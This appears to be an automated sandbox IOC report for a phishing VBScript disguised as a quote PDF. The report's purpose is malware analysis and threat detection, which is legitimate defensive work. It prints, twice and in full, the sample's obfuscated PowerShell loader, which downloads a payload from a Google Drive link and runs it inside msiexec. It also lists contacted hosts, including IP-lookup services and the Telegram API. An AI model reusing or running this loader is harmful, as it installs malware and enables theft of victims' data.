IOC Report
RFQ_64182MR_PDF.R00.vbs

RFQ_64182MR_PDF.R00.vbs

ASCII text, with CRLF line terminators

initial sample

C:\Windows\System32\wscript.exe

C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\RFQ_64182MR_PDF.R00.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Besprjtet Playstow Stunsail Vrangforestillingers ergotisms Idealism Overthrowing #>;$Requestionerntrenchant='Gem';<#Formanings Reaktion Randmorner Backwall protore #>;$Oplyser=$Syriacism+$host.UI; function Franarrendes($Kampucheanske){If ($Oplyser) {$Grangerizer++;}$Automobiler=$Forsnakket+$Kampucheanske.'Length'-$Grangerizer; for( $Requestioner=5;$Requestioner -lt $Automobiler;$Requestioner+=6){$Heavenward214=$Requestioner;$Ressentimentsflelsers+=$Kampucheanske[$Requestioner];$Spindleshanks='Nougatfarvede255';}$Ressentimentsflelsers;}function Forbindingers($Sweateren){ . ($Leukophoresis) ($Sweateren);}$Modulariteten85=Franarrendes 'Rum eM lunnoNo anzKonkui Zircl Enerl AnnaaOffgo/ Expe ';$Modulariteten85+=Franarrendes 'Forha5Genn..Olief0Munde Qeth(kamleWD speiW.rlonIag tdGrundoTyd.lwNordis.inds St rN UndeTVolun Aphyl1Found0Orrtr. Fart0Dunel;Attem roomW.ettiiKonomnRe dd6 Anab4 Ach ; Tand S.mpsxChamp6Torve4Snkni;N.mph Carbor Vaa vUnder:forby1Agnat3Foreb1Hydro. nond0 M ga)Bolig FilmsG B koeSviencM notkDesmooBet t/Sp ci2Disfo0Frak,1Curvi0klim 0Enfol1Na ur0 Fops1 Sni TandpF mageisobrarAftrae,ofanf IndioInvarxSaftf/Skole1Sky r3Yderp1 Para.adven0Fall ';$Regnetegnet=Franarrendes 'NiffeU SonoSPreleEStamsrLoz n-FrontAVideoGPo.uleDi denFejletNowel ';$Delggelses=Franarrendes 'BrookhTsnintUnpertunasspOdon sCentr: aan/ Bygn/Pr.grdD,sgerUdnytiFlsomv Non eWoods.OmheggDhurroSkr aoInflegHelpilH lefeLinne.photocNo.gao iphom varm/Avl.suRebubc Abru?I.kvieKomp,xKo tep.piskoOver rBriskt En e=Prosed fvnnounig,wBu.den Fjenl ArusoCen raSaggidRet r&Klenei OmvedDof m= ktio1SaltiO emouB.otlcBac sV EmulAAppetKPseu,uRespicPugenyTim rFCrocugAnkomsKlemry verslS,jlgES ewa0Aaref-F remRKendiUOnla 3Wa rguElvilZ Klbnk DiffN SdnidBog,veSemid2 .emia.ittelsyfilM SemiJUne lPOmdig ';$Coleopteroid=Franarrendes 'Coff >Disge ';$Leukophoresis=Franarrendes 'V,ticiWoundECi.enxSynon ';$Requestionernkassoerne='Papyroplastics';$Kontagis='\Platyhelminthic195.End';Forbindingers (Franarrendes 'Knivs$SpiseGG ssel SkijoL,nkbBRa ziA RemrlD.gab: V,ewDChinbe AcuicY,lloaPeachRSnoenbRhabdoMen oN Mi.tYantihl Sta.aFavo.TU stoESystedDextr= Coar$RemusEEn.rvNTransvsan.s:Gtebaa SikkpP ethPDi pedPunteAStunnTforlgABackn+Sekul$.romaK,ermuOHazanNGreevtIndvaARiob,gCymbeIGenfoSTraum ');Forbindingers (Franarrendes 'Cuisi$C,liiGlingeL aradO.ommebwhip aReboulLabio: FriglDatasILobelTCurt hfrygtOti.anP Brn hJeq eI FlyvlrussiORektou eskysSkudd=Be ry$Sabr dyokeaeLachrlKie,eGArbejgTergiE FrazL IrrusInquieArt iS.orma.Maghissm gepIndviLU affISaddutLden.(Rea i$Tr,ckczigzaOUdestlKar oe ieclOlaspePPelortRegnlEBaronrNatioO CereIKogendPark,) Inct ');Forbindingers (Franarrendes 'Hu,ba[ ,nteN lassE GuiltPedan.inse.sEnergEH vedrGnistvDivi.iIn,rtCUngd efortipFun,oO AffaICloamnCompitEpichmBugh AB.rneNBarquaNonutG AltaEAnaerrUnpro]Arbej: vndg: LumbSSparsERentec ,nteu SemirWigeoI SlukTchokiy Mu kPGolemRSpe cOKinoeT K nkOfloodc StbnoReserl Behe F lig=Overr Betle[ ArienN kvrERe tetLicen.Konios .tesEIcineCS.mmeURedupr stopIGom,hTHusfayTi sfPCountRR gisOArnawtDioptOTegnscBrnehoErgaslPaasatRe onyInddapCockce onpo] Pl t:Disco:S ridtgeorglEfterSKon,a1.ingu2 Ata ');$Delggelses=$Lithophilous[0];$Fitted=(Franarrendes 'S dde$Lisbeg Keralstac OAs albNorlaaOr inL imse:DocerNG,udeeUnfaiOFlameP Sladr Udl,EMiljpNqua re anka=DipsonStolpE rojeW Stil-photoOSukkebDescrjLys aeWheywCNedn thove .oncrsCheckyKov,rsPericT.reteEE.onoMCorro.SubauNAresfEPyro tSethe.RaddyW,rhneegramsbHov rCAxin LDomiciSpidsEPe,olN sup,T era ');Forbindingers ($Fitted);Forbindingers (Franarrendes 'Scirr$Fa csNCircueForsooKaliupSpaltrM ulde SkatnTeleoe Pans. OsmoHAgendeGifteaSuprad UdfreDissir herisDiabo[Sce e$DefmrRJaw meskuregUnc lnF uoreJingktTranseKubisgWoodsnAgrope sem tKvili]Forti=Badmi$yaccrMHovedoV,ndsdAvi.uuBisselFuldfaTildarHornhiFremstExpone verdtFingee obbinSem.o8 urbo5Taktr ');$Behoovings=Franarrendes ',orde$M.tchN HylieAmireoSinknpBifolrAi,boeRap fnWarsteEnosi.pai,cDTokyooQui cwTmme nSma fl EnteoL ucoaNarkod LnkoFHectoiSelvhlHav aeRandd( Quan$ Ad,pDbudcye DisplUntragLabang Sna eLovovlNapoosDe pneTub rs Deli,Satyr$BymllB etalFasc iRullenBrn,hdSkud.iOecussdagplmKrigs)S.rpu ';$Blindism=$Decarbonylated;Forbindingers (Franarrendes 'Heron$ skrogSeptiL.remeO orgeb Gr.vAAnt.tLAporo:BrnephAssafaTepotnRef eRAnde EDeeskjdykkeEFor lRForvaNEneanEGrisbsSvamp=Freet(Spi dTLaereeUlidesIndefTnybru-Maa ePFuscoaP.rret DeadHKjepl Eks.l$ MacrbHansalSmuttIOutsmnSyst.dEpisiIAntepsRecutMFestd) Bann ');while (!$hanrejernes) {Forbindingers (Franarrendes 'Salpa$St erg ygnilWindooHerbobLektua uretlDisqu:CelebP BrndiB,gatgTrakegDrabsiIchthn.aadlgIia,a4 My t4Kultu=Foraa$ ronvtHieror S yeuS ksueNybeg ') ;Forbindingers $Behoovings;Forbindingers (Franarrendes 'PapliSBr,ckTudtryaBremsrLivreTTerma-BegynSCyn cLRoshaeennuyEOphthPd bbe E.fre4Finda ');Forbindingers (Franarrendes 'Rolli$Diatogpalatlvelo.OS rmubSommeaBlgeblBeliq: Ste hPlanlALarvenRnnebR.jeneE BiggjUrtileAmtssRDe abN rhveEAcerbSPopul=,lens(SnuskTLseliE,ercuSGrandt ngul-Aftr,pGaffea aadfTGalenH Akkl Spros$ OptrBMskinLDrhamIGnomoNFantodUnlowiUnempsTermomTalpa)Obl,t ') ;Forbindingers (Franarrendes 'Chlor$Go pegForekL L,jeOA,eyaBChaseA Ska.LDespo: RepabFoderAA pensAndentX,nthINumdaNUbetvg BeskSVandp= Ravn$St rvgKatteLBrunjoSubplBRe oma ndkl S.ek:MautdKAutaeuTillagB jublpr paEProbasSpid + Ble +Numau%Pha d$StbelLPap.gIpha nT Idioh OpreoSlumrPFruerHBlundI oviel VegeOSkoleUunjokSI ter.Subadc ippeOSkrivUVr tjNKommetUdsty ') ;$Delggelses=$Lithophilous[$Bastings];}$Gospels=307653;$Flapr2=30753;Forbindingers (Franarrendes ' Trin$MuntiGB nkoL SlagoS mspBPerleA EolilDiss :khmerbFototLStockNgemalD Aga,eAfvastRabar Faks=Ski,n RadikGAegy.eDiskutE rre-Skrifcnin tOGyngeN PromtPyurie,mokenWatert Prog bloms$ InteBPeriolAmalgiConduNForkidKodesIGrammSAu orm .egi ');Forbindingers (Franarrendes ',leva$BlokogMeterlLovbuovigerb,pildaC lmilPinac:OddfeFFilteeTerebuDichodMilieaskankloutlilSemicyUndis Khub=Ga,in Macar[CheerSSelvbydecors Korrt supeeHydrom Cove.WooshC .andoS,bbrn RajavGu dsePortlr TnkstEncla]Sprng:Grupp:BraceFUngrarBrorso Brd mGen,nBResulajewedsStandeSt aa6,dsun4SkulpSDexamtDeagorKviksi ZappnForl gLumba(,rain$S ldyBLactal aflgnUdflud,urroeK llitHa.vl)sjofl ');Forbindingers (Franarrendes 'Bortv$E icaGraadslKuedeOOverpBWeirdASuperlUdh n:KnurrbPu.dlyG vltCAu olY Ov rKInforlDel.ae DehyRKlumrnExterE M.la Blues=Biref Popli[gid.nsD speYSwaggs etekTW eelEBlotcMMesot.Har etembate.redex R.lat Long.Sa chE BaanN G,oacBe stOBra,yDFst.nIFriz nC.scag,ncon] Ambr:Diako:r,annASammeSdengacF rarI Eksei Cond.preadGLofteESeksetAn ensApiartWaurar Te.hIRev,lN BiobgBrand(Goute$V nstf AuriEsexo.UPlastDTekstaImplilDerayLK ordYResee)Lagen ');Forbindingers (Franarrendes 'Unre $SubfoGE ektL,elenoMunkeb.urriA AyyuL .urs:N nocBUnsmoaSedatJ Ung.E udb,r ugtiePhot.sPyga.=D ndr$ P.ocbCalymYGuldfCF,rniyTinelK,rimaLSarcoequincrPalaeNFrgemERkebi.Y.elsSDekolU Florbc.resSTeks tStraaRSkadeIStorsN,lixiGBrack(Homos$Ke atGVers ODowcoS Hu pP incoEMaa eLNodesSfornu,Nepal$ drifFFondalKaramAAf elp InelROv rl2In,iv) Juve ');Forbindingers $Bajeres;"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" " <#Besprjtet Playstow Stunsail Vrangforestillingers ergotisms Idealism Overthrowing #>;$Requestionerntrenchant='Gem';<#Formanings Reaktion Randmorner Backwall protore #>;$Oplyser=$Syriacism+$host.UI; function Franarrendes($Kampucheanske){If ($Oplyser) {$Grangerizer++;}$Automobiler=$Forsnakket+$Kampucheanske.'Length'-$Grangerizer; for( $Requestioner=5;$Requestioner -lt $Automobiler;$Requestioner+=6){$Heavenward214=$Requestioner;$Ressentimentsflelsers+=$Kampucheanske[$Requestioner];$Spindleshanks='Nougatfarvede255';}$Ressentimentsflelsers;}function Forbindingers($Sweateren){ . ($Leukophoresis) ($Sweateren);}$Modulariteten85=Franarrendes 'Rum eM lunnoNo anzKonkui Zircl Enerl AnnaaOffgo/ Expe ';$Modulariteten85+=Franarrendes 'Forha5Genn..Olief0Munde Qeth(kamleWD speiW.rlonIag tdGrundoTyd.lwNordis.inds St rN UndeTVolun Aphyl1Found0Orrtr. Fart0Dunel;Attem roomW.ettiiKonomnRe dd6 Anab4 Ach ; Tand S.mpsxChamp6Torve4Snkni;N.mph Carbor Vaa vUnder:forby1Agnat3Foreb1Hydro. nond0 M ga)Bolig FilmsG B koeSviencM notkDesmooBet t/Sp ci2Disfo0Frak,1Curvi0klim 0Enfol1Na ur0 Fops1 Sni TandpF mageisobrarAftrae,ofanf IndioInvarxSaftf/Skole1Sky r3Yderp1 Para.adven0Fall ';$Regnetegnet=Franarrendes 'NiffeU SonoSPreleEStamsrLoz n-FrontAVideoGPo.uleDi denFejletNowel ';$Delggelses=Franarrendes 'BrookhTsnintUnpertunasspOdon sCentr: aan/ Bygn/Pr.grdD,sgerUdnytiFlsomv Non eWoods.OmheggDhurroSkr aoInflegHelpilH lefeLinne.photocNo.gao iphom varm/Avl.suRebubc Abru?I.kvieKomp,xKo tep.piskoOver rBriskt En e=Prosed fvnnounig,wBu.den Fjenl ArusoCen raSaggidRet r&Klenei OmvedDof m= ktio1SaltiO emouB.otlcBac sV EmulAAppetKPseu,uRespicPugenyTim rFCrocugAnkomsKlemry verslS,jlgES ewa0Aaref-F remRKendiUOnla 3Wa rguElvilZ Klbnk DiffN SdnidBog,veSemid2 .emia.ittelsyfilM SemiJUne lPOmdig ';$Coleopteroid=Franarrendes 'Coff >Disge ';$Leukophoresis=Franarrendes 'V,ticiWoundECi.enxSynon ';$Requestionernkassoerne='Papyroplastics';$Kontagis='\Platyhelminthic195.End';Forbindingers (Franarrendes 'Knivs$SpiseGG ssel SkijoL,nkbBRa ziA RemrlD.gab: V,ewDChinbe AcuicY,lloaPeachRSnoenbRhabdoMen oN Mi.tYantihl Sta.aFavo.TU stoESystedDextr= Coar$RemusEEn.rvNTransvsan.s:Gtebaa SikkpP ethPDi pedPunteAStunnTforlgABackn+Sekul$.romaK,ermuOHazanNGreevtIndvaARiob,gCymbeIGenfoSTraum ');Forbindingers (Franarrendes 'Cuisi$C,liiGlingeL aradO.ommebwhip aReboulLabio: FriglDatasILobelTCurt hfrygtOti.anP Brn hJeq eI FlyvlrussiORektou eskysSkudd=Be ry$Sabr dyokeaeLachrlKie,eGArbejgTergiE FrazL IrrusInquieArt iS.orma.Maghissm gepIndviLU affISaddutLden.(Rea i$Tr,ckczigzaOUdestlKar oe ieclOlaspePPelortRegnlEBaronrNatioO CereIKogendPark,) Inct ');Forbindingers (Franarrendes 'Hu,ba[ ,nteN lassE GuiltPedan.inse.sEnergEH vedrGnistvDivi.iIn,rtCUngd efortipFun,oO AffaICloamnCompitEpichmBugh AB.rneNBarquaNonutG AltaEAnaerrUnpro]Arbej: vndg: LumbSSparsERentec ,nteu SemirWigeoI SlukTchokiy Mu kPGolemRSpe cOKinoeT K nkOfloodc StbnoReserl Behe F lig=Overr Betle[ ArienN kvrERe tetLicen.Konios .tesEIcineCS.mmeURedupr stopIGom,hTHusfayTi sfPCountRR gisOArnawtDioptOTegnscBrnehoErgaslPaasatRe onyInddapCockce onpo] Pl t:Disco:S ridtgeorglEfterSKon,a1.ingu2 Ata ');$Delggelses=$Lithophilous[0];$Fitted=(Franarrendes 'S dde$Lisbeg Keralstac OAs albNorlaaOr inL imse:DocerNG,udeeUnfaiOFlameP Sladr Udl,EMiljpNqua re anka=DipsonStolpE rojeW Stil-photoOSukkebDescrjLys aeWheywCNedn thove .oncrsCheckyKov,rsPericT.reteEE.onoMCorro.SubauNAresfEPyro tSethe.RaddyW,rhneegramsbHov rCAxin LDomiciSpidsEPe,olN sup,T era ');Forbindingers ($Fitted);Forbindingers (Franarrendes 'Scirr$Fa csNCircueForsooKaliupSpaltrM ulde SkatnTeleoe Pans. OsmoHAgendeGifteaSuprad UdfreDissir herisDiabo[Sce e$DefmrRJaw meskuregUnc lnF uoreJingktTranseKubisgWoodsnAgrope sem tKvili]Forti=Badmi$yaccrMHovedoV,ndsdAvi.uuBisselFuldfaTildarHornhiFremstExpone verdtFingee obbinSem.o8 urbo5Taktr ');$Behoovings=Franarrendes ',orde$M.tchN HylieAmireoSinknpBifolrAi,boeRap fnWarsteEnosi.pai,cDTokyooQui cwTmme nSma fl EnteoL ucoaNarkod LnkoFHectoiSelvhlHav aeRandd( Quan$ Ad,pDbudcye DisplUntragLabang Sna eLovovlNapoosDe pneTub rs Deli,Satyr$BymllB etalFasc iRullenBrn,hdSkud.iOecussdagplmKrigs)S.rpu ';$Blindism=$Decarbonylated;Forbindingers (Franarrendes 'Heron$ skrogSeptiL.remeO orgeb Gr.vAAnt.tLAporo:BrnephAssafaTepotnRef eRAnde EDeeskjdykkeEFor lRForvaNEneanEGrisbsSvamp=Freet(Spi dTLaereeUlidesIndefTnybru-Maa ePFuscoaP.rret DeadHKjepl Eks.l$ MacrbHansalSmuttIOutsmnSyst.dEpisiIAntepsRecutMFestd) Bann ');while (!$hanrejernes) {Forbindingers (Franarrendes 'Salpa$St erg ygnilWindooHerbobLektua uretlDisqu:CelebP BrndiB,gatgTrakegDrabsiIchthn.aadlgIia,a4 My t4Kultu=Foraa$ ronvtHieror S yeuS ksueNybeg ') ;Forbindingers $Behoovings;Forbindingers (Franarrendes 'PapliSBr,ckTudtryaBremsrLivreTTerma-BegynSCyn cLRoshaeennuyEOphthPd bbe E.fre4Finda ');Forbindingers (Franarrendes 'Rolli$Diatogpalatlvelo.OS rmubSommeaBlgeblBeliq: Ste hPlanlALarvenRnnebR.jeneE BiggjUrtileAmtssRDe abN rhveEAcerbSPopul=,lens(SnuskTLseliE,ercuSGrandt ngul-Aftr,pGaffea aadfTGalenH Akkl Spros$ OptrBMskinLDrhamIGnomoNFantodUnlowiUnempsTermomTalpa)Obl,t ') ;Forbindingers (Franarrendes 'Chlor$Go pegForekL L,jeOA,eyaBChaseA Ska.LDespo: RepabFoderAA pensAndentX,nthINumdaNUbetvg BeskSVandp= Ravn$St rvgKatteLBrunjoSubplBRe oma ndkl S.ek:MautdKAutaeuTillagB jublpr paEProbasSpid + Ble +Numau%Pha d$StbelLPap.gIpha nT Idioh OpreoSlumrPFruerHBlundI oviel VegeOSkoleUunjokSI ter.Subadc ippeOSkrivUVr tjNKommetUdsty ') ;$Delggelses=$Lithophilous[$Bastings];}$Gospels=307653;$Flapr2=30753;Forbindingers (Franarrendes ' Trin$MuntiGB nkoL SlagoS mspBPerleA EolilDiss :khmerbFototLStockNgemalD Aga,eAfvastRabar Faks=Ski,n RadikGAegy.eDiskutE rre-Skrifcnin tOGyngeN PromtPyurie,mokenWatert Prog bloms$ InteBPeriolAmalgiConduNForkidKodesIGrammSAu orm .egi ');Forbindingers (Franarrendes ',leva$BlokogMeterlLovbuovigerb,pildaC lmilPinac:OddfeFFilteeTerebuDichodMilieaskankloutlilSemicyUndis Khub=Ga,in Macar[CheerSSelvbydecors Korrt supeeHydrom Cove.WooshC .andoS,bbrn RajavGu dsePortlr TnkstEncla]Sprng:Grupp:BraceFUngrarBrorso Brd mGen,nBResulajewedsStandeSt aa6,dsun4SkulpSDexamtDeagorKviksi ZappnForl gLumba(,rain$S ldyBLactal aflgnUdflud,urroeK llitHa.vl)sjofl ');Forbindingers (Franarrendes 'Bortv$E icaGraadslKuedeOOverpBWeirdASuperlUdh n:KnurrbPu.dlyG vltCAu olY Ov rKInforlDel.ae DehyRKlumrnExterE M.la Blues=Biref Popli[gid.nsD speYSwaggs etekTW eelEBlotcMMesot.Har etembate.redex R.lat Long.Sa chE BaanN G,oacBe stOBra,yDFst.nIFriz nC.scag,ncon] Ambr:Diako:r,annASammeSdengacF rarI Eksei Cond.preadGLofteESeksetAn ensApiartWaurar Te.hIRev,lN BiobgBrand(Goute$V nstf AuriEsexo.UPlastDTekstaImplilDerayLK ordYResee)Lagen ');Forbindingers (Franarrendes 'Unre $SubfoGE ektL,elenoMunkeb.urriA AyyuL .urs:N nocBUnsmoaSedatJ Ung.E udb,r ugtiePhot.sPyga.=D ndr$ P.ocbCalymYGuldfCF,rniyTinelK,rimaLSarcoequincrPalaeNFrgemERkebi.Y.elsSDekolU Florbc.resSTeks tStraaRSkadeIStorsN,lixiGBrack(Homos$Ke atGVers ODowcoS Hu pP incoEMaa eLNodesSfornu,Nepal$ drifFFondalKaramAAf elp InelROv rl2In,iv) Juve ');Forbindingers $Bajeres;"

C:\Windows\SysWOW64\msiexec.exe

"C:\Windows\SysWOW64\msiexec.exe"

reallyfreegeoip.org

188.114.97.3

api.telegram.org

149.154.167.220

checkip.dyndns.org

unknown

149.154.167.220

api.telegram.org

United Kingdom

188.114.97.3

reallyfreegeoip.org

European Union

242C1000

trusted library allocation

page read and write

B0D5000

direct allocation

page execute and read and write

8800000

direct allocation

page execute and read and write

26815481000

trusted library allocation

page read and write

59A6000

trusted library allocation

page read and write